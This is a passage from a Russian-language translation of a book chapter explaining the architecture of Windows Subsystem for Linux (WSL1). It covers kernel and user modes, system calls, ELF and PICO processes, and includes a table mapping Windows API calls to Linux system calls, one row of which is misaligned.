Драйверы режима ядра не содержат никакого кода ядра Linux, поэтому когда из некого исполняемого файла выполняется системный вызов Linux, тогда установленное ядро Windows NT направляет соответствующий запрос в lxcore.sys , который осуществляет всё тяжёлой поднятие трансляции соответствующих системных вызовов Linux в эквивалентные вызовы Windows. Тем не менее, имеются некоторые системные вызовы Linux, такие как fork() , которые не имеют эквивалентных вызовов в Windows NT. По этой причине lxcore.sys приходится копировать и создавать некий новый процесс с правильными данными применяя внутренние API ядра Windows NT для обеспечения подобных запросов из подсистемы Windows для Linux.
Недостатки WSL1
В точности как и все прочие программные средства, подсистема Windows для Linux версии 1 также обладает ограничениями и недостатками и мы обсудим некоторые из них в приводимом ниже перечислении. Честно говоря, WSL постоянно развивающийся продукт и некоторые из этих ограничений будут смягчены со временем по мере эволюции этого продукта:
- Linux является быстро развивающейся операционной системой с открытым исходным кодом и время от времени появляются новые выпуски, однако реализуемая в WSL служба трансляции полностью управляется Microsoft и им приходится обновлять её при выходе нового выпуска. Это привносит некую задержку в новые функциональные возможности текущего выпуска Linux до тех пор, пока Microsoft не приступит к их реализации.
- Ядра Windows NT и Linux обладают очень отличающимися файловыми системами, моделями полномочий и управлением памятью, и хотя всё работает в наилучшем случае в подсистеме Windows для Linux, существует ряд моментов, которые WSL не способен транслировать в ядро Windows NT по той причине, что в наихудших случаях они не поддерживаются самим ядром Windows NT.
- WSL v1 не способна запускать всё программное обеспечение Linux, к примеру, 32- битные исполняемые файлы, и вы можете столкнуться с программным обеспечением, которое не работает в WSL, ибо оно требует определённых служб ядра Linux, которые пока не реализованы Microsoft. Вот ссылка на перечень поддерживаемых сообществом программ, которые запускаются и не запускаются в WSL: https://github.com/ethanhs/WSL-Programs. WSL решает большинство из этих проблем через запуск ядра Linux в облегчённой служебной виртуальной машине при помощи Hyper-V.
![]() |
Замечание |
|---|---|
| Вышеупомянутый список поддерживаемого и не поддерживаемого программного обеспечения сопровождается сообществом пользователей подсистемы Windows для Linux и независимыми разработчиками, а не Microsoft. |
![]() |
Замечание |
|---|---|
| WSL2 поддерживается только в Windows 10, версии 2004 (сборка 19041), и вам придётся присоединиться к “windows insider program” и выбрать кольцо “Release Preview”. Это может быть в целом доступно в конце мая или к моменту выпуска данной книги. |
Ключевые слова и понятия
В этом разделе мы выполним обзор некоторых ключевых терминов и важных понятий, которые составляют WSL. Таблица 1-1 предоставляет некоторые сокращения, которыми мы будем пользоваться в последующих главах этой книги.
NT
Distro
Пакет распространения, дистрибутив
OS, ОС
VM, ВМ
WSL
Подсистема Windows дляLinux
ELF
executable and Linking Format, формат исполняемых и компонуемых модудей
PE
Portable Executable, формат исполняемого кода Win32 в Windows
API
Application Programming Interface, интерфейс прикладных программ
PRB
Process Environment Block, блок операционной среды процесса
Теперь мы быстро пройдёмся по некоторым существенным ключевым словам, понятиям и определениям чтобы загрузить ваше осознание подсистемы Windows для Linux и выстроить для вас некую основу, прежде чем мы приступим к обучению. Если вы не являетесь пользователем, Linux, вероятно вы не знакомы с некоторыми из этих понятий, и, если вы применяете Windows, это ускорит ваше обучение.
Дистрибутив
Distro это сокращение для дистрибутива Linux, который представляет собой просто некую операционную систему, состоящую из коллекции программных пакетов с открытым исходным кодом, инструментов и библиотек. Пользователи Linux обычно могут выгружать и устанавливать дистрибутив Linux по своему выбору из широкого разнообразия находящихся в интернете доступных дистрибутивов и именно таким образом они получают свои операционные системы. Дистрибутивы Linux для WSL могут быть выгружены дибо из Microsoft Store, либо вручною, что мы опишем позднее в этой книге. Такие дистрибутивы поставляются третьими партнёрами, не Microsoft. В то время как существует более 500 доступных в настоящее время дистрибутивов Linux и большинство из них к тому же активно разрабатываются, имеется и ряд коммерческих дистрибутивов, таких как Fedora, openSUSE и Ubuntu. Ubuntu, фактически, один из наиболее популярных настольных дистрибутивов Linux. Более того, некоторые дистрибутивы Linux полностью продвигаются сообществом, например такие как Debian, Slackware, Gentoo и Arch Linux.
Подсистемы
С самого своего начала Windows NT обладает историей, позволяющей подобно подсистеме Win32 сосуществовать со своим ядром NT. В контексте самой операционной системы, некая подсистема это автономная система внутри более крупного программного обеспечения, например, операционной системы.
В Windows NT такие подсистемы действуют как некий интерфейс между приложениями режима пользователя и функциями ядра его операционной системы, причём существует более одной подсистемы, которые реализуют совершенно различные наборы API для поддержки приложений, написанных для многих различных типов операционных систем. В операционных системах Windows 10 имеется лишь подсистема Win32, которая способна запускать приложения Win32, в то время как подсистема OS/2 и подсистема POSIX более не присутствуют и были прекращены в сопровождении.
Ядро
Современные операционные системы собираются из множества уровней, причём ядро является самым центральным компонентом некой операционной системы, что демонстрируется на Рисунке 1-3. Своё название ядро получило просто потому, что также как семя внутри твёрдой скорлупы, ядро Linux присутствует внутри самой операционной системы Linux в качестве центрального компонента. Это ядро в первую очередь действует как некий интерфейс между имеющимися приложениями пользователя и собственно оборудованием.
Рисунок 1-3

Ядро представляет собой самый внутренний уровень/ кольцо некой операционной системы
На Рисунке 1-3, самое внешнее кольцо с «зелёным» цветом представляет собой наименее привилегированное; что означает, что к приложениям в Кольце 3 меньше всего доверия и им потребуются более высокие полномочия для выполнения критических действий, в то время как ядро является самым внутренним кольцом с «красным» цветом, представляющим наиболее привилегированное, или наиболее доверенное, то есть Кольцо 0.
Основной целью этого является обеспечение программно- аппаратного взаимодействия и выполнения прочих операций нижнего уровня, таких как:
- Управления процессами
- Обработку прерываний
- Управление памятью
- Управление устройствами
- Взаимодествие ввода/ вывода
- Файловой системы
При запуске компьютера его начальный загрузчик сначала загружает некое ядро в основную оперативную память < Прим. пер.: подробнее в нашем переводе Практика загрузки. Изучение процесса загрузки Linux, Windows и Unix Йогеша Бабара >. Важно иметь небольшое ядро, так как оно остаётся в памяти для выполнения всех вышеупоминаемых существенных служб и оно должно исполняться в защищённом режиме в памяти с тем, чтобы оно не перекрывалось прочими исполняемыми программами, что имело бы катастрофические последствия.
Режим ядра
Проще говоря, программы и инструкции, исполняемые в режиме ядра обладают полным и неограниченным доступом к лежащему в основе оборудованию. Как правило, режим ядра зарезервирован для наиболее важных функций операционной системы нижнего уровня, когда любые сбои могут иметь катастрофические последствия и способны привести к нарушению работы всей системы целиком. Все пользовательские процессы будут выполняться в режиме пользователя, пока они не получают системный вызов. Всякий системный вызов исполняется в режиме ядра, в котором вырабатывается системное прерывание, а бит режима устанавливается в ноль (0). Когла это выполнение завершено, вырабатывается другое системное прерывание для установки бита режима в единицу (1). Рисунок 1-4 показывает взаимосвязь между режимом ядра и режимом пользователя.
Рисунок 1-4

Режим пользователя и режим ядра
Режим пользователя
Большая часть исполняемых в вычислительной системе программ и кода запускается в режиме пользователя, который не обладает прямым доступом к оборудованию системныи может выполнять доступ к ресурсам через системные API. Такая изоляция предусмотрена самой разработкой и обеспечивается при помощи колец защиты, которые выступают одним из двух или более уровней полномочий в архитектуре вычислительной системы. Это сделано для того, чтобы любые сбои в пользовательском режиме (ка правило, это самое внешнее кольцо) не оказывали влияния ни на что другое в общей системе из-за ограничений на уровне полномочий и такие сбои всегда можно исправить. Вся цель состоит в том, чтобы предотвратить случайное удаление пользовательской программой важных файлов операционной системы, перезаписав их данными пользователя или, может быть, несколькими процессами, пытающимися выполнить запись или воздействие на одни и те же файлы и в конечном счёте получить бедственный отказ.
Системные вызовы
Проще говоря, некий системный вызов, или syscall (system call) это какая- то служба, предоставляемая ядром, которая может быть вызвана из программ режима пользователя для взаимодействия с лежащей в основе операционной системой. С точки зрения вычислений, некий системный вызов это способ которым вычислительная программа программным способом запрашивает некую службу из ядра этой исполняемой операционной системы через API (Application Program Interfaces, интерфейсы прикладных программ). Системные вызовы являются точками входа в имеющуюся систему ядра для доступа к ресурсам системы, таким как память, процесс, файловый доступ и тому подобное.
Таблица 1-2 предоставляет некоторые системные вызовы Windows и Linux просто чтобы дать вам представление о том виде служб, которые предоставляются системными вызовами и кокие типы доступны.
CreateProcess( )
fork( )
ExitProcess( )
exit( )
WaitForSingleObject( )
wait( )
CreateFile( )
open( )
ReadFile( )
read( )
WriteFile( )
wait( )
CloseHandle( )
write( )
SetConsoleMode( )
ioctl( )
ReadConsole( )
read( )
WriteConsole( )
write( )
CreatePipe( )
pipe( )
CreateFileMapping( )
shmget( )
MapViewOfFile( )
mmap( )
Доступ и защита
SetFileSecurity( )
chmod( )
InitlializeSecurityDescriptor( )
umask( )
SetSecurityDescriptorGroup( )
chown( )
GetCurrentProcessid( )
getpid( )
SetTimer( )
alarm( )
Sleep( )
sleep( )
Ядро Windows NT
Вычислительные системы с операционной системой Microsoft Windows составляются ядром Windows, которое также носит название ядра Windows NT. Самая ранняя версия Windows NT была разработана в двух вариантах, первом для рабочих станций, а второй для компьютеров серверов. Это был преемник основанных на MS-DOS систем и позднее он был переработан в используемую в наши дния операционную систему Windows 10.
Архитектура ОС Windows составляется из целого ряда компонентов и грубо разделяется на режимы пользователя и ядра:
- HAL (Hardware Abstraction Layer, уровень аппаратных абстракций), который является неким программным уровнем, действующим в качестве интерфейса между лежащим в основе оборудованием и более высокими уровнями его операционной системы.
- Ядро Windows
- Драйверы режима ядра
- Исполнительные службы режима ядра, которые обслуживают следующие цели:
- Управление объектами
- управление памятью
- управление процессами и потоками
- управлегие вводом/ выводом
- Драйверы управления конфигурацией и прочие службы поддержки, которые работают в режиме ядра
Большинство драйверов с целью стабильности работают в режиме пользователя, но всё же, з некоторыми исключениями, например, видео-драйверы, сегментированы как на пользовательский режим, так и на режим ядра для повышения производительности, что было снова изменено после протестов по поводу проблем с производительностью Windows Vista, причём до сих пор нет чётких границ где удерживать эти драйверы и это является предметом обсуждения и экспериментов.
Ядро Linux
Ядро Linux является центральным компонентом операционной системы Linux, которая действует как интерфейс между системным оборудованием и его процессами. Одна из основных причин для её популярности является то, что она бесплатна и является открытым исходным кодом, что притягивает разработчиков из всех частей света. Самое основное отличие между ядром Windows NT и ядром Linux является то, что ядро Windows поставляется с коммерческим программным обеспечением (операционной системой), в то время как ядро Linux является открытым исходным кодом и доступно бесплатным для выгрузки.
Поскольку подсистема Windows для Linux версии 2 (WSL2) в целом доступна, Microsoft начнёт поставку полного ядра Linux с операционной системой Windows, которое будет целиком управляться Microsoft и будет изменяться через обновления Windows.
ELF
ELF выступает сокращением от Executable and Linking Format, который выступает общим стандартным форматом файла для исполняемых файлов, кода объекта, совместно используемых библиотек и дампов ядра. ELF спроектирован чтобы быть гибким, расширяемым и кросс- платформенным, что означает, что он был разработан чтобы не ограничиваться неким особым процессором, набором инструкций или архитектурой оборудования. Это сделало возможной адаптацию формата ELF во многих различных операционных систем на большом числе аппаратных платформ.
Некий исполняемый файл, применяющий формат файла ELF составляется из заголовка ELF, за которым следуют данные файла, которые содержат:
- Таблица заголовка программы — Это список из 0 или более сегментов памяти; эти сегменты памяти содержат сведения, которые требуются для осуществления работ времени выполнения данного файла.
- Таблица заголовка раздела — Это перечень из 0 или большего числа разделов для связывания и передислокации.
- Данные файла — Данные, на которые имеются ссылки из табдиц заголовка программы и заголовка разделов.
Процесс PICO
В традиционных вариантах применения запуска приложений в некой изолированной среде мы используем виртуальные машины, устанавливаемые со специфическими операционными системами для отделения этого приложения от любых лежащих в основе зависимостей операционной системы хоста. Это срабатывало для нас и достигало цели, предоставляя безопасную изоляцию для приложений, независимых от подлежащей операционной системы, причём в то же самое время обеспечивая совместимость и непрерывность выполнения, что предоставляет нам двже возможность перемещать конкретное приложение в иные операционные системы или компьютеры.
Несмотря на эти преимущества, виртуальные машины обладают большими накладными расходами с точки зрения дисков, памяти, ЦПУ и тому подобного. Поэтому Microsoft запустила исследование проекта с названием Drawbridge, имеющего целью разработку нового способа вычислений с основным назначением в реализации облегчённого подхода к запуску приложения в какой- то изолированной среде, причём зависимости ОС самого приложения не привязаны к лежащей в основе ОС хоста. Проект Drawbridge сочетает в себе две основные технологии:
- Процесс PICO — P rocess-based I solation CO ntainer — изоляция контейнером на основе процесса
- Библиотека ОС — Целевая операционная система для рабочих нагрузок приложений, запускаемое независимо от лежащей в основе ОС. Именно здесь находят свое место пакеты распространения WSL для того чтобы заработала подсистема Windows для Linux.
Процессы PICO были отчеканены для ограничения базовой операционной системы на управление адресным пространством пользовательского режима внутри данного процесса, которые всего лишь являются уменьшенной версий обычного хост- процесса, работающего с драйвером режима ядра, действующего в качестве брокера между ядром своей ОС хоста и данной библиотекой ОС в режиме пользователя.
Чтобы лежащая в основе операционная система прекратила управление этими процессами PICO, они помечаются как минимальные процессы , что указывает всей оставшейся части хоста не управлять этими процессами. В отличии от обычных процессов NT, при порождении минимального процесса не созаются потоки для запуска в таком процессе и всё адресное пространство пользовательского режима остаётся нетронутым. Проще говоря, PICO — это минимальный процесс, связанный с неким драйвером режима ядра.
Выводы
В своих предыдущих подразделах мы изучили архитектурный обзор и компоненты подсистемы Windows для Linux, а также его преимущества и недостатки. Мы также взглянули на некоторые важные ключевые слова и понятия, относящиеся к работе систем Windows для Linux и некоторые центральные идеи и понятия, такие как процесс PICO, что поможет вам понять внутреннюю работу WSL.
В своей следующей главе мы намерены изучить установку и настройку WSL в операционной системе Windows 10.
![[Замечание]](http://onreader.mdl.ru/common/images/admon/note.png)